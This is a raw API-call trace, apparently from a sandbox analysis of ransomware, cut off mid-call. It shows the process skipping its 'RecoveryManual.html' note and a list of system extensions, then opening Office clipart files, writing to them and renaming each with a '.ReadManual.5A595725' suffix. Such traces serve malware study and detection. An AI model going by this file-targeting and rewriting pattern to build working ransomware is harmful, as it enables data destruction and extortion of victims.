[0266.207] StrCmpIW (psz1="WMF", psz2="vbs") returned 1 [0266.207] StrCmpIW (psz1="WMF", psz2="ttf") returned 1 [0266.207] StrCmpIW (psz1="WMF", psz2="fon") returned 1 [0266.207] StrCmpIW (psz1="WMF", psz2="lnk") returned 1 [0266.207] lstrcpyW (in: lpString1=0x68b880, lpString2="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105250.WMF" | out: lpString1="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105250.WMF") returned="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105250.WMF" [0266.207] lstrcatW (in: lpString1="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105250.WMF", lpString2=".ReadManual.5A595725" | out: lpString1="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105250.WMF.ReadManual.5A595725") returned="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105250.WMF.ReadManual.5A595725" [0266.207] lstrlenW (lpString="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105250.WMF.ReadManual.5A595725") returned 87 [0266.207] QueryPerformanceCounter (in: lpPerformanceCount=0x434fd88 | out: lpPerformanceCount=0x434fd88*=38687596796) returned 1 [0266.207] GetFileAttributesW (lpFileName="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105250.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0105250.wmf")) returned 0x20 [0266.208] CreateFileW (lpFileName="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105250.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0105250.wmf"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x194 [0266.208] GetFileSizeEx (in: hFile=0x194, lpFileSize=0x434fda0 | out: lpFileSize=0x434fda0*=4628) returned 1 [0266.208] CreateFileMappingW (hFile=0x194, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x1214, lpName=0x0) returned 0x184 [0266.208] SetFileInformationByHandle (hFile=0x194, FileInformationClass=0x3, lpFileInformation=0x68b874, dwBufferSize=0xbe) returned 1 [0266.209] SetFilePointerEx (in: hFile=0x194, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0266.209] WriteFile (in: hFile=0x194, lpBuffer=0x434fc88*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x434fc84, lpOverlapped=0x0 | out: lpBuffer=0x434fc88*, lpNumberOfBytesWritten=0x434fc84*=0x20, lpOverlapped=0x0) returned 1 [0266.211] WriteFile (in: hFile=0x194, lpBuffer=0x2ed540*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x434fc84, lpOverlapped=0x0 | out: lpBuffer=0x2ed540*, lpNumberOfBytesWritten=0x434fc84*=0x100, lpOverlapped=0x0) returned 1 [0266.211] MapViewOfFile (hFileMappingObject=0x184, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x1214) returned 0x2f0000 [0266.211] UnmapViewOfFile (lpBaseAddress=0x2f0000) returned 1 [0266.211] QueryPerformanceCounter (in: lpPerformanceCount=0x434fd90 | out: lpPerformanceCount=0x434fd90*=38688000721) returned 1 [0266.211] CloseHandle (hObject=0x184) returned 1 [0266.211] SetSecurityInfo () returned 0x57 [0266.211] LocalFree (hMem=0x76c1a55b) returned 0x76c1a55b [0266.211] CloseHandle (hObject=0x194) returned 1 [0266.212] FindNextFileW (in: hFindFile=0x6bff00, lpFindFileData=0x6bb89c | out: lpFindFileData=0x6bb89c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x73d19900, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x65e1cad0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x73d19900, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x1714, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="J0105266.WMF", cAlternateFileName="")) returned 1 [0266.212] lstrcpyW (in: lpString1=0x6ab90a, lpString2="J0105266.WMF" | out: lpString1="J0105266.WMF") returned="J0105266.WMF" [0266.212] lstrcmpiW (lpString1="J0105266.WMF", lpString2="RecoveryManual.html") returned -1 [0266.212] StrStrIW (lpFirst="J0105266.WMF", lpSrch=".ReadManual.5A595725") returned 0x0 [0266.212] StrCmpIW (psz1="WMF", psz2="exe") returned 1 [0266.212] StrCmpIW (psz1="WMF", psz2="dll") returned 1 [0266.212] StrCmpIW (psz1="WMF", psz2="sys") returned 1 [0266.212] StrCmpIW (psz1="WMF", psz2="msi") returned 1 [0266.212] StrCmpIW (psz1="WMF", psz2="mui") returned 1 [0266.212] StrCmpIW (psz1="WMF", psz2="inf") returned 1 [0266.212] StrCmpIW (psz1="WMF", psz2="cat") returned 1 [0266.212] StrCmpIW (psz1="WMF", psz2="bat") returned 1 [0266.212] StrCmpIW (psz1="WMF", psz2="cmd") returned 1 [0266.212] StrCmpIW (psz1="WMF", psz2="ps1") returned 1 [0266.212] StrCmpIW (psz1="WMF", psz2="vbs") returned 1 [0266.212] StrCmpIW (psz1="WMF", psz2="ttf") returned 1 [0266.212] StrCmpIW (psz1="WMF", psz2="fon") returned 1 [0266.212] StrCmpIW (psz1="WMF", psz2="lnk") returned 1 [0266.212] lstrcpyW (in: lpString1=0x68b880, lpString2="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105266.WMF" | out: lpString1="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105266.WMF") returned="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105266.WMF" [0266.212] lstrcatW (in: lpString1="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105266.WMF", lpString2=".ReadManual.5A595725" | out: lpString1="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105266.WMF.ReadManual.5A595725") returned="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105266.WMF.ReadManual.5A595725" [0266.212] lstrlenW (lpString="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105266.WMF.ReadManual.5A595725") returned 87 [0266.212] QueryPerformanceCounter (in: lpPerformanceCount=0x434fd88 | out: lpPerformanceCount=0x434fd88*=38688099687) returned 1 [0266.212] GetFileAttributesW (lpFileName="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105266.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0105266.wmf")) returned 0x20 [0266.212] CreateFileW (lpFileName="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105266.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0105266.wmf"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x194 [0266.213] GetFileSizeEx (in: hFile=0x194, lpFileSize=0x434fda0 | out: lpFileSize=0x434fda0*=5908) returned 1 [0266.213] CreateFileMappingW (hFile=0x194, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x1714, lpName=0x0) returned 0x184 [0266.213] SetFileInformationByHandle (hFile=0x194, FileInformationClass=0x3, lpFileInformation=0x68b874, dwBufferSize=0xbe) returned 1 [0266.214] SetFilePointerEx (in: hFile=0x194, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0266.214] WriteFile (in: hFile=0x194, lpBuffer=0x434fc88*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x434fc84, lpOverlapped=0x0 | out: lpBuffer=0x434fc88*, lpNumberOfBytesWritten=0x434fc84*=0x20, lpOverlapped=0x0) returned 1 [0266.215] WriteFile (in: hFile=0x194, lpBuffer=0x2ed540*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x434fc84, lpOverlapped=0x0 | out: lpBuffer=0x2ed540*, lpNumberOfBytesWritten=0x434fc84*=0x100, lpOverlapped=0x0) returned 1 [0266.216] MapViewOfFile (hFileMappingObject=0x184, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x1714) returned 0x2f0000 [0266.216] UnmapViewOfFile (lpBaseAddress=0x2f0000) returned 1 [0266.216] QueryPerformanceCounter (in: lpPerformanceCount=0x434fd90 | out: lpPerformanceCount=0x434fd90*=38688459174) returned 1 [0266.216] CloseHandle (hObject=0x184) returned 1 [0266.216] SetSecurityInfo () returned 0x57 [0266.216] LocalFree (hMem=0x76c1a55b) returned 0x76c1a55b [0266.216] CloseHandle (hObject=0x194) returned 1 [0266.216] FindNextFileW (in: hFindFile=0x6bff00, lpFindFileData=0x6bb89c | out: lpFindFileData=0x6bb89c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x73d19900, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x65e42c30, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x73d19900, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x4540, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="J0105272.WMF", cAlternateFileName="")) returned 1 [0266.216] lstrcpyW (in: lpString1=0x6ab90a, lpString2="J0105272.WMF" | out: lpString1="J0105272.WMF") returned="J0105272.WMF" [0266.216] lstrcmpiW (lpString1="J0105272.WMF", lpString2="RecoveryManual.html") returned -1 [0266.216] StrStrIW (lpFirst="J0105272.WMF", lpSrch=".ReadManual.5A595725") returned 0x0 [0266.216] StrCmpIW (psz1="WMF", psz2="exe") returned 1 [0266.216] StrCmpIW (psz1="WMF", psz2="dll") returned 1 [0266.216] StrCmpIW (psz1="WMF", psz2="sys") returned 1 [0266.216] StrCmpIW (psz1="WMF", psz2="msi") returned 1 [0266.216] StrCmpIW (psz1="WMF", psz2="mui") returned 1 [0266.216] StrCmpIW (psz1="WMF", psz2="inf") returned 1 [0266.216] StrCmpIW (psz1="WMF", psz2="cat") returned 1 [0266.217] StrCmpIW (psz1="WMF", psz2="bat") returned 1 [0266.217] StrCmpIW (psz1="WMF", psz2="cmd") returned 1 [0266.217] StrCmpIW (psz1="WMF", psz2="ps1") returned 1 [0266.217] StrCmpIW (psz1="WMF", psz2="vbs") returned 1 [0266.217] StrCmpIW (psz1="WMF", psz2="ttf") returned 1 [0266.217] StrCmpIW (psz1="WMF", psz2="fon") returned 1 [0266.217] StrCmpIW (psz1="WMF", psz2="lnk") returned 1 [0266.217] lstrcpyW (in: lpString1=0x68b880, lpString2="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105272.WMF" | out: lpString1="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105272.WMF") returned="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105272.WMF" [0266.217] lstrcatW (in: lpString1="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105272.WMF", lpString2=".ReadManual.5A595725" | out: lpString1="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105272.WMF.ReadManual.5A595725") returned="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105272.WMF.ReadManual.5A595725" [0266.217] lstrlenW (lpString="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105272.WMF.ReadManual.5A595725") returned 87 [0266.217] QueryPerformanceCounter (in: lpPerformanceCount=0x434fd88 | out: lpPerformanceCount=0x434fd88*=38688565714) returned 1 [0266.217] GetFileAttributesW (lpFileName="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105272.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0105272.wmf")) returned 0x20 [0266.217] CreateFileW (lpFileName="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105272.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0105272.wmf"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x194 [0266.217] GetFileSizeEx (in: hFile=0x194, lpFileSize=0x434fda0 | out: lpFileSize=0x434fda0*=17728) returned 1 [0266.217] CreateFileMappingW (hFile=0x194, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x4540, lpName=0x0) returned 0x184 [0266.217] SetFileInformationByHandle (hFile=0x194, FileInformationClass=0x3, lpFileInformation=0x68b874, dwBufferSize=0xbe) returned 1 [0266.218] SetFilePointerEx (in: hFile=0x194, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0266.218] WriteFile (in: hFile=0x194, lpBuffer=0x434fc88*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x434fc84, lpOverlapped=0x0 | out: lpBuffer=0x434fc88*, lpNumberOfBytesWritten=0x434fc84*=0x20, lpOverlapped=0x0) returned 1 [0266.220] WriteFile (in: hFile=0x194, lpBuffer=0x2ed540*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x434fc84, lpOverlapped=0x0 | out: lpBuffer=0x2ed540*, lpNumberOfBytesWritten=0x434fc84*=0x100, lpOverlapped=0x0) returned 1 [0266.220] MapViewOfFile (hFileMappingObject=0x184, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x4540) returned 0x2f0000 [0266.221] UnmapViewOfFile (lpBaseAddress=0x2f0000) returned 1 [0266.221] QueryPerformanceCounter (in: lpPerformanceCount=0x434fd90 | out: lpPerformanceCount=0x434fd90*=38688952586) returned 1 [0266.221] CloseHandle (hObject=0x184) returned 1 [0266.221] SetSecurityInfo () returned 0x57 [0266.221] LocalFree (hMem=0x76c1a55b) returned 0x76c1a55b [0266.221] CloseHandle (hObject=0x194) returned 1 [0266.221] FindNextFileW (in: hFindFile=0x6bff00, lpFindFileData=0x6bb89c | out: lpFindFileData=0x6bb89c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x73d19900, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x65e42c30, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x73d19900, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x4b28, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="J0105276.WMF", cAlternateFileName="")) returned 1 [0266.221] lstrcpyW (in: lpString1=0x6ab90a, lpString2="J0105276.WMF" | out: lpString1="J0105276.WMF") returned="J0105276.WMF" [0266.221] lstrcmpiW (lpString1="J0105276.WMF", lpString2="RecoveryManual.html") returned -1 [0266.221] StrStrIW (lpFirst="J0105276.WMF", lpSrch=".ReadManual.5A595725") returned 0x0 [0266.221] StrCmpIW (psz1="WMF", psz2="exe") returned 1 [0266.221] StrCmpIW (psz1="WMF", psz2="dll") returned 1 [0266.221] StrCmpIW (psz1="WMF", psz2="sys") returned 1 [0266.221] StrCmpIW (psz1="WMF", psz2="msi") returned 1 [0266.221] StrCmpIW (psz1="WMF", psz2="mui") returned 1 [0266.221] StrCmpIW (psz1="WMF", psz2="inf") returned 1 [0266.221] StrCmpIW (psz1="WMF", psz2="cat") returned 1 [0266.221] StrCmpIW (psz1="WMF", psz2="bat") returned 1 [0266.222] StrCmpIW (psz1="WMF", psz2="cmd") returned 1 [0266.222] StrCmpIW (psz1="WMF", psz2="ps1") returned 1 [0266.222] StrCmpIW (psz1="WMF", psz2="vbs") returned 1 [0266.222] StrCmpIW (psz1="WMF", psz2="ttf") returned 1 [0266.222] StrCmpIW (psz1="WMF", psz2="fon") returned 1 [0266.222] StrCmpIW (psz1="WMF", psz2="lnk") returned 1 [0266.222] lstrcpyW (in: lpString1=0x68b880, lpString2="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105276.WMF" | out: lpString1="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105276.WMF") returned="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105276.WMF" [0266.222] lstrcatW (in: lpString1="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105276.WMF", lpString2=".ReadManual.5A595725" | out: lpString1="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105276.WMF.ReadManual.5A595725") returned="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105276.WMF.ReadManual.5A595725" [0266.222] lstrlenW (lpString="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105276.WMF.ReadManual.5A595725") returned 87 [0266.222] QueryPerformanceCounter (in: lpPerformanceCount=0x434fd88 | out: lpPerformanceCount=0x434fd88*=38689057842) returned 1 [0266.222] GetFileAttributesW (lpFileName="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105276.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0105276.wmf")) returned 0x20 [0266.222] CreateFileW (lpFileName="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105276.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0105276.wmf"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x194 [0266.222] GetFileSizeEx (in: hFile=0x194, lpFileSize=0x434fda0 | out: lpFileSize=0x434fda0*=19240) returned 1 [0266.222] CreateFileMappingW (hFile=0x194, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x4b28, lpName=0x0) returned 0x184 [0266.222] SetFileInformationByHandle (hFile=0x194, FileInformationClass=0x3, lpFileInformation=0x68b874, dwBufferSize=0xbe) returned 1 [0266.223] SetFilePointerEx (in: hFile=0x194, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0266.223] WriteFile (in: hFile=0x194, lpBuffer=0x434fc88*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x434fc84, lpOverlapped=0x0 | out: lpBuffer=0x434fc88*, lpNumberOfBytesWritten=0x434fc84*=0x20, lpOverlapped=0x0) returned 1 [0266.225] WriteFile (in: hFile=0x194, lpBuffer=0x2ed540*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x434fc84, lpOverlapped=0x0 | out: lpBuffer=0x2ed540*, lpNumberOfBytesWritten=0x434fc84*=0x100, lpOverlapped=0x0) returned 1 [0266.225] MapViewOfFile (hFileMappingObject=0x184, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x4b28) returned 0x2f0000 [0266.226] UnmapViewOfFile (lpBaseAddress=0x2f0000) returned 1 [0266.226] QueryPerformanceCounter (in: lpPerformanceCount=0x434fd90 | out: lpPerformanceCount=0x434fd90*=38689460898) returned 1 [0266.226] CloseHandle (hObject=0x184) returned 1 [0266.226] SetSecurityInfo () returned 0x57 [0266.226] LocalFree (hMem=0x76c1a55b) returned 0x76c1a55b [0266.226] CloseHandle (hObject=0x194) returned 1 [0266.226] FindNextFileW (in: hFindFile=0x6bff00, lpFindFileData=0x6bb89c | out: lpFindFileData=0x6bb89c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x73d19900, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x65e42c30, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x73d19900, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x2d14, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="J0105280.WMF", cAlternateFileName="")) returned 1 [0266.226] lstrcpyW (in: lpString1=0x6ab90a, lpString2="J0105280.WMF" | out: lpString1="J0105280.WMF") returned="J0105280.WMF" [0266.226] lstrcmpiW (lpString1="J0105280.WMF", lpString2="RecoveryManual.html") returned -1 [0266.226] StrStrIW (lpFirst="J0105280.WMF", lpSrch=".ReadManual.5A595725") returned 0x0 [0266.226] StrCmpIW (psz1="WMF", psz2="exe") returned 1 [0266.226] StrCmpIW (psz1="WMF", psz2="dll") returned 1 [0266.226] StrCmpIW (psz1="WMF", psz2="sys") returned 1 [0266.226] StrCmpIW (psz1="WMF", psz2="msi") returned 1 [0266.226] StrCmpIW (psz1="WMF", psz2="mui") returned 1 [0266.226] StrCmpIW (psz1="WMF", psz2="inf") returned 1 [0266.226] StrCmpIW (psz1="WMF", psz2="cat") returned 1 [0266.227] StrCmpIW (psz1="WMF", psz2="bat") returned 1 [0266.227] StrCmpIW (psz1="WMF", psz2="cmd") returned 1 [0266.227] StrCmpIW (psz1="WMF", psz2="ps1") returned 1 [0266.227] StrCmpIW (psz1="WMF", psz2="vbs") returned 1 [0266.227] StrCmpIW (psz1="WMF", psz2="ttf") returned 1 [0266.227] StrCmpIW (psz1="WMF", psz2="fon") returned 1 [0266.227] StrCmpIW (psz1="WMF", psz2="lnk") returned 1 [0266.227] lstrcpyW (in: lpString1=0x68b880, lpString2="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105280.WMF" | out: lpString1="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105280.WMF") returned="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105280.WMF" [0266.227] lstrcatW (in: lpString1="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105280.WMF", lpString2=".ReadManual.5A595725" | out: lpString1="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105280.WMF.ReadManual.5A595725") returned="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105280.WMF.ReadManual.5A595725" [0266.227] lstrlenW (lpString="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105280.WMF.ReadManual.5A595725") returned 87 [0266.227] QueryPerformanceCounter (in: lpPerformanceCount=0x434fd88 | out: lpPerformanceCount=0x434fd88*=38689558250) returned 1 [0266.227] GetFileAttributesW (lpFileName="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105280.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0105280.wmf")) returned 0x20 [0266.228] CreateFileW (lpFileName="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105280.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0105280.wmf"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x194 [0266.228] GetFileSizeEx (in: hFile=0x194, lpFileSize=0x434fda0 | out: lpFileSize=0x434fda0*=11540) returned 1 [0266.228] CreateFileMappingW (hFile=0x194, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x2d14, lpName=0x0) returned 0x184 [0266.228] SetFileInformationByHandle (hFile=0x194, FileInformationClass=0x3, lpFileInformation=0x68b874, dwBufferSize=0xbe) returned 1 [0266.229] SetFilePointerEx (in: hFile=0x194, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0266.229] WriteFile (in: hFile=0x194, lpBuffer=0x434fc88*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x434fc84, lpOverlapped=0x0 | out: lpBuffer=0x434fc88*, lpNumberOfBytesWritten=0x434fc84*=0x20, lpOverlapped=0x0) returned 1 [0266.231] WriteFile (in: hFile=0x194, lpBuffer=0x2ed540*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x434fc84, lpOverlapped=0x0 | out: lpBuffer=0x2ed540*, lpNumberOfBytesWritten=0x434fc84*=0x100, lpOverlapped=0x0) returned 1 [0266.231] MapViewOfFile (hFileMappingObject=0x184, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x2d14) returned 0x2f0000 [0266.231] UnmapViewOfFile (lpBaseAddress=0x2f0000) returned 1 [0266.231] QueryPerformanceCounter (in: lpPerformanceCount=0x434fd90 | out: lpPerformanceCount=0x434fd90*=38689984697) returned 1 [0266.231] CloseHandle (hObject=0x184) returned 1 [0266.231] SetSecurityInfo () returned 0x57 [0266.231] LocalFree (hMem=0x76c1a55b) returned 0x76c1a55b [0266.231] CloseHandle (hObject=0x194) returned 1 [0266.231] FindNextFileW (in: hFindFile=0x6bff00, lpFindFileData=0x6bb89c | out: lpFindFileData=0x6bb89c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x73d19900, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x65e68d90, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x73d19900, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x12bc, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="J0105282.WMF", cAlternateFileName="")) returned 1 [0266.231] lstrcpyW (in: lpString1=0x6ab90a, lpString2="J0105282.WMF" | out: lpString1="J0105282.WMF") returned="J0105282.WMF" [0266.231] lstrcmpiW (lpString1="J0105282.WMF", lpString2="RecoveryManual.html") returned -1 [0266.232] StrStrIW (lpFirst="J0105282.WMF", lpSrch=".ReadManual.5A595725") returned 0x0 [0266.232] StrCmpIW (psz1="WMF", psz2="exe") returned 1 [0266.232] StrCmpIW (psz1="WMF", psz2="dll") returned 1 [0266.232] StrCmpIW (psz1="WMF", psz2="sys") returned 1 [0266.232] StrCmpIW (psz1="WMF", psz2="msi") returned 1 [0266.232] StrCmpIW (psz1="WMF", psz2="mui") returned 1 [0266.232] StrCmpIW (psz1="WMF", psz2="inf") returned 1 [0266.232] StrCmpIW (psz1="WMF", psz2="cat") returned 1 [0266.232] StrCmpIW (psz1="WMF", psz2="bat") returned 1 [0266.232] StrCmpIW (psz1="WMF", psz2="cmd") returned 1 [0266.232] StrCmpIW (psz1="WMF", psz2="ps1") returned 1 [0266.232] StrCmpIW (psz1="WMF", psz2="vbs") returned 1 [0266.232] StrCmpIW (psz1="WMF", psz2="ttf") returned 1 [0266.232] StrCmpIW (psz1="WMF", psz2="fon") returned 1 [0266.232] StrCmpIW (psz1="WMF", psz2="lnk") returned 1 [0266.232] lstrcpyW (in: lpString1=0x68b880, lpString2="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105282.WMF" | out: lpString1="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105282.WMF") returned="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105282.WMF" [0266.232] lstrcatW (in: lpString1="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105282.WMF", lpString2=".ReadManual.5A595725" | out: lpString1="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105282.WMF.ReadManual.5A595725") returned="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105282.WMF.ReadManual.5A595725" [0266.232] lstrlenW (lpString="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105282.WMF.ReadManual.5A595725") returned 87 [0266.232] QueryPerformanceCounter (in: lpPerformanceCount=0x434fd88 | out: lpPerformanceCount=0x434fd88*=38690088797) returned 1 [0266.232] GetFileAttributesW (lpFileName="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105282.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0105282.wmf")) returned 0x20 [0266.232] CreateFileW (lpFileName="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105282.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0105282.wmf"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, 